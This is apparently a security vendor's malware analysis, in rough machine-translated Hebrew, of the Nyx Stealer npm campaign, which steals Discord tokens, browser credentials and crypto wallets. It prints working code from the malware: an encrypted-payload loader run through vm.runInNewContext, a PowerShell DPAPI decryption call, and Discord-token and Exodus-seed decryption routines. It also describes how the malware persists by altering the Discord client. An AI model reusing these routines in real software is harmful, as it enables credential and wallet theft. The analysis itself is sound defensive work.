גונב מידע npm

גילוי מידע חדש של npm: Nyx ​​Stealer חוטף סשנים של דיסקורד

TL; DR

צוות המחקר של אבטחת Xygeni זיהה קמפיין גניבת מידע מתוחכם מסוג npm שהועבר באמצעות שתי חבילות זדוניות: קונסולופי ו selfbot-lofy.

הגרסה האחרונה (consolelofy@1.3.0) מטמיע מטען מוצפן AES בגודל 216KB שמפענח בזמן ריצה ומופעל באמצעות vm.runInNewContext()מכיוון שהלוגיקה הזדונית מוצפנת במלואה, סורקים סטטיים המסתמכים על בדיקת מחרוזות אינם יכולים לצפות בהתנהגותה עד לזמן הביצוע.

לאחר הפענוח, המטען, הממותג באופן פנימי ניקס סטולר, ומט you

  • אסימוני אימות של דיסקורד
  • 50+ חנויות פרטי דפדפן
  • 90+ הרחבות לארנק מטבעות קריפטוגרפיים
  • מפגשי Roblox, Instagram, Spotify, Steam, Telegram ו-TikTok
  • התמדה של לקוח שולחן העבודה של דיסקורד

כל 20 הגרסאות בשתי החבילות דווחו ואושרו כזדוניות.

סקירה טכנית של גונב המידע הזה ב-npm

בניגוד לתוכנות זדוניות מסורתיות בזמן ההתקנה, קמפיין זה מסתמך על זמן ריצה מודל פענוח.

יש:

  • אין זדון preinstall or postinstall hooks
  • אין קריאות רשת ברורות בזמן ההתקנה
  • אין לוגיקת איסוף אישורים בטקסט רגיל

המטען מופעל כאשר המודול מיובא. כל גוף הקובץ הזדוני מוצפן ומתממש בזיכרון רק בזמן ריצה.

עיצוב זה מונע במיוחד זיהוי במהלך התקנת החבילה.

איך גונב המידע הזה ב-npm באמת מבוצע

לפני שננתח מה ניקס סטיילר גונב, עלינו להבין איך זה מבוצע.

ההיגיון הזדוני בתוך גנב המידע הזה של npm עוקב אחר דפוס עקבי:

טוען קטן מפענח מטען מוצפן גדול ומבצע אותו באופן דינמי בתוך הקשר של Node.js VM.

עיצוב זה מכוון. התוקף אינו מסתיר פונקציונליות מאחורי ערפול בלבד, הוא הסרת קוד זדוני מהנראות הסטטית לחלוטין.

מודל ביצוע ברמה גבוהה

ברמה גבוהה, העטיפה עושה ארבעה דברים:

  • גוזר מפתח AES מסיסמה קשיחה באמצעות SHA-256
  • פענוח טקסט מוצפן גדול בקידוד הקסדצימלי באמצעות AES-256-CBC
  • מבצע את ה-JavaScript המפוענח באמצעות vm.runInNewContext()
  • מספק ארגז חול שעדיין חושף פרימיטיבים רבי עוצמה בזמן ריצה

סיכום טכניקת הליבה

רכיב תצורה / ערך
אַלגוֹרִיתְם AES-256-CBC
גזירת מפתח SHA-256 (סיסמה)
וקטור אתחול (IV) 16 בתים של 0x00
הוצאה לפועל vm.runInNewContext(מפוענח, ארגז חול)

באופן קריטי, ארגז החול עובר דרך:

  • require
  • process
  • Buffer
  • טיימרים
  • ייצוא מודולים

משמעות הדבר היא שהמטען המפוענח שומר על יכולת מלאה ל:

  • תהליכי יצירת צמחים
  • קריאה וכתיבה של קבצים
  • ביצוע שיחות רשת
  • שינוי יישומים מקומיים

זה לא VM מוגבל. זה VM המשמש כטרמפולינה להוצאה לפועל.

תבנית הצפנה בזמן ריצה (מנגנון ביצוע ליבה)

המטען קטן.
הגוף הזדוני אינו.

להלן תבנית הביצוע שנמצאת בתוך החבילה:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

למה זה חשוב

המטען המפוענח:

  • האם לֹא קיימים בטקסט רגיל בתוך חבילת ה-npm
  • בלתי נראה לפשוט grep או סריקת מחרוזות סטטית
  • מתממש בזיכרון רק בזמן ריצה
  • מבוצע עם יכולות מלאות של זמן ריצה של Node

שילוב ביצועי AES + VM זה הוא אינדיקטור התנהגותי חזק של גנב מידע של npm מנסה להתחמק מבדיקה סטטית.

במילים אחרות:

אם תסרוק את עץ מקור החבילות, לא תראה גונב.
אתה רואה מפענח.

מה קורה לאחר פענוח

לאחר הביצוע, Nyx Stealer משגר גלי איסוף נתונים מקבילים.

גל 1: חילוץ פרטי דפדפן

תוכנת הזדונית:

  • מוריד זמן ריצה של Python מ-NuGet CDN
  • מתקין ספריות קריפטוגרפיות
  • מחלץ מאגרי אישורים מבוססי כרום
  • פענוח סודות המוגנים על ידי DPAPI

במקום לקמפל קישורים מקוריים, הוא ממנף את PowerShell כדי לקרוא ישירות ל- Windows DPAPI.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

גישה זו:

  • נמנעת מארטיפקטים של קומפילציה
  • משתמש בממשקי API של קריפטו מקוריים של Windows
  • משתלב בכלי ניהול

זהו פענוח אישורים ברמת מערכת ההפעלה, לא גירוד.

גל 2: פענוח אסימון דיסקורד

הגנב מודע לפרוטוקול. הוא מבין את פורמט האסימונים המוצפן של דיסקורד.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

זרימת עבודה:

  • חילוץ מפתח ראשי מדיסקורד Local State
  • פענוח מפתח ראשי באמצעות DPAPI
  • פענוח בלובים של אסימון AES-GCM
  • אימות טוקנים מול ה-API של דיסקורד
  • העשרה עם ניטרו, תגים, פרטי חיוב

זה לא גנרי של העברת אישורים. זה חטיפת סשן מודעת לפרוטוקול.

גל 3: מיקוד בארנקי מטבעות קריפטוגרפיים

גונב המידע של npm מונה:

  • 90+ הרחבות לארנק דפדפן
  • 27 ארנקים לשולחן העבודה
  • נתיבי ארנק קר
  • קבצי זרעים של אקסודוס

ניסיון פענוח זרעים לדוגמה:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

אם יצליח, פגיעה בארנק תהיה מיידית ובלתי הפיכה.

זה מייצג את וקטור המונטיזציה בעל הערך הגבוה ביותר של הקמפיין.

התמדה באמצעות הזרקת דיסקורד לשולחן העבודה

לאחר איסוף אישורים, Nyx Stealer מנסה לשמור על נוכחות על ידי שינוי הקוד המקומי מחלוקת לקוחות.

יַעַד:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

רצף תפעולי

גנב המידע מבצע את השלבים הבאים:

  • סיום תהליכי דיסקורד הפועלים
  • מאתר גרסאות דיסקורד מותקנות (Stable, Canary, PTB)
  • מחליף discord_desktop_core/index.js
  • מזריק לוגיקת webhook הנשלטת על ידי התוקף
  • מפעיל מחדש את דיסקורד

זה מבטיח שסשנים עתידיים של דיסקורד ידליפו אוטומטית טוקנים חדשים של אימות.

חשוב לציין, התמדה זו אינה מסתמכת על משימות מתוזמנות או שינויים ברישום. היא ממנפת שינוי קוד ברמת היישום, גישה חשאית יותר.

אפילו אם חבילת ה-npm הזדונית תוסר מאוחר יותר, לקוח דיסקורד נשאר בסכנה.

השוואה טכנית: Selfbot לגיטימי לעומת Infostealer של npm

רכיב ספרייה לגיטימית Nyx npm מידע גונב
הצף ללא חתימה מטען מלא מוצפן AES
מכונה וירטואלית בזמן ריצה לא דרוש vm.runInNewContext הוצאת להורג
גישה לאישור ממשק ה-API של דיסקורד בלבד דפדפן, ארנקים, DPAPI
הורדות חיצוניות לא זמן ריצה של פייתון דרך NuGet
התמדה לא הזרקת לקוח דיסקורד
Monetization אוטומציה של בוט מכירה חוזרת של אישורים

שכבת ההצפנה לבדה כבר מפרידה את הקמפיין הזה ממזלג קוד פתוח טיפוסי.

לבוט דיסקורד לגיטימי אין סיבה להצפין את כל בסיס הקוד שלו, להפעיל את PowerShell כדי לגשת ל-DPAPI, להוריד זמני ריצה חיצוניים או לשנות את הפונקציות הפנימיות של אפליקציות שולחן עבודה. כאשר יכולות אלו מופיעות בתוך תלות שטוענת לאוטומציה של אינטראקציות דיסקורד, אי ההתאמה הארכיטקטונית הופכת לבלתי אפשרית להתעלמות.

מנקודת מבט של חקירה, גונב המידע הזה של npm משאיר עקבות על פני שכבות מרובות. עם זאת, האינדיקטורים האמינים ביותר אינם כתובות URL קדושות או נתיבי קבצים ספציפיים, מכיוון שאלו יכולים להשתנות בין גרסאות. במקום זאת, הסימנים העמידים הם מבניים.

ברמת החבילה, הדגל האדום החזק ביותר הוא השילוב של מטען מוצפן גדול ועטיפת פענוח בזמן ריצה שמבצעת באופן מיידי דרך vm.runInNewContext()בעוד שהצפנה לבדה אינה זדונית מטבעה, שימוש בפענוח AES ולאחר מכן ביצוע דינמי של מכונה וירטואלית בתוך חבילת שירות של Discord הוא חריג ביותר.

ברמת המארח, דפוסים חשודים כוללים פעילות בלתי צפויה של פענוח DPAPI, תהליך שהוצא מהקשר תלות Node.js, ושינוי של קבצי יישומים מקומיים שלעולם לא צריכים להשתנות על ידי ספריות של צד שלישי. באופן דומה, בשכבת הרשת, תקשורת יוצאת בסגנון webhook שיזמה תלות פיתוח מייצגת אנומליה משמעותית נוספת.

במילים אחרות, משטח הגילוי אינו אינדיקטור יחיד לפגיעה. זהו הקורלציה של הצפנה, ביצוע בזמן ריצה, גישה לאימות והתנהגות התמדה שחושפת את האיום.

גילוי וטיפול בבעיות בעזרת Xygeni

גונב מידע npm

גונב המידע הזה של npm זוהה על ידי התרעה מוקדמת מפני תוכנות זדוניות (MEW) של Xygeni באמצעות קורלציה התנהגותית שכבתית ולא באמצעות התאמת חתימות פשוטה.

במקום לחפש מחרוזות זדוניות ידועות, MEW מעריך אנומליות מבניות על פני עץ המקור המלא. במקרה זה, הזיהוי נבע מהתכנסות של מספר אותות: שגרת פענוח AES מוטמעת בנקודת הכניסה של המודול, ביצוע מיידי בתוך הקשר של מכונה וירטואלית, וחוסר התאמה ברור בין יכולת לכוונה.

חשוב לציין, אף אחד מהסימנים הללו אינו מוכיח בפני עצמו כוונה זדונית. עם זאת, כאשר הם מנותחים יחד, הם חושפים ניסיון להסתיר התנהגות בזמן ריצה. גישה מרובדת זו מפחיתה משמעותית תוצאות חיוביות שגויות תוך זיהוי איומים בשרשרת האספקה ​​בעלי רמת אמינות גבוהה.

יתר על כן, מקרה זה ממחיש מדוע בדיקה בזמן ההתקנה לבדה אינה מספיקה. ההיגיון הזדוני אינו שוכן בסקריפטים של מחזור החיים. הוא מופעל רק לאחר טעינת המודול והופך לגלוי רק לאחר פענוחו בזיכרון. לכן, הגנה יעילה דורשת ניתוח מודע להצפנה, זיהוי דפוסי התנהגות וניטור תלות מתמשך מעבר לאירועי התקנה.

הסרת הרישום היא תגובתית. ניתוח תומך בזמן ריצה הוא מונע.

למה גונב המידע הזה ב-npm חשוב

Nyx Stealer מייצג אבולוציה מבנית בתוכנות זדוניות מבוססות npm.

מבחינה היסטורית, חבילות זדוניות רבות הסתמכו על סקריפטים גלויים בזמן ההתקנה או נקודות קצה ברורות של חילוץ אישורים. לעומת זאת, קמפיין זה מצפין את המטען שלו, דוחה את הביצוע לזמן ריצה, ממנף ממשקי API לגיטימיים של מערכת הפעלה ומבסס עמידות בתוך יישומים מהימנים.

כתוצאה מכך, התוקף אינו צריך לנצל את תשתית ה-npm עצמה. במקום זאת, ההתקפה מצליחה מכיוון שהתקנת תלות מרמזת על אמון. מפתחים מניחים שייבוא ​​ספרייה הוא פעולה בטוחה, במיוחד כאשר היא מציגה את עצמה כפורק סביר של כלי פופולרי.

ככל שמערכות אקולוגיות ממשיכות לגדול ומזלגות מתרבים, גבול האמון המרומז הזה הופך למשטח התקפה אטרקטיבי יותר ויותר. לכן, הגנה מפני גנבי מידע מודרניים של npm דורשת זיהוי דפוסים ארכיטקטוניים במקום חיפוש אחר מחרוזות סטטיות.

בסופו של דבר, קמפיין זה מחזק לקח קריטי ב software supply chain securityהאיומים המסוכנים ביותר אינם אלה שנראים זדוניים במבט ראשון, אלא אלה שנראים לגיטימיים מבחינה מבנית עד שזמן הריצה חושף את התנהגותם האמיתית.

כלי SCA לניתוח קומפוזיציה - תוכנה
תעדוף, תיקון ואבטחת סיכוני התוכנה שלך
קבל את החשבון החינמי שלך.
אין צורך בכרטיס אשראי.

אבטחו את פיתוח ואספקת התוכנה שלכם

עם חבילת המוצרים Xygeni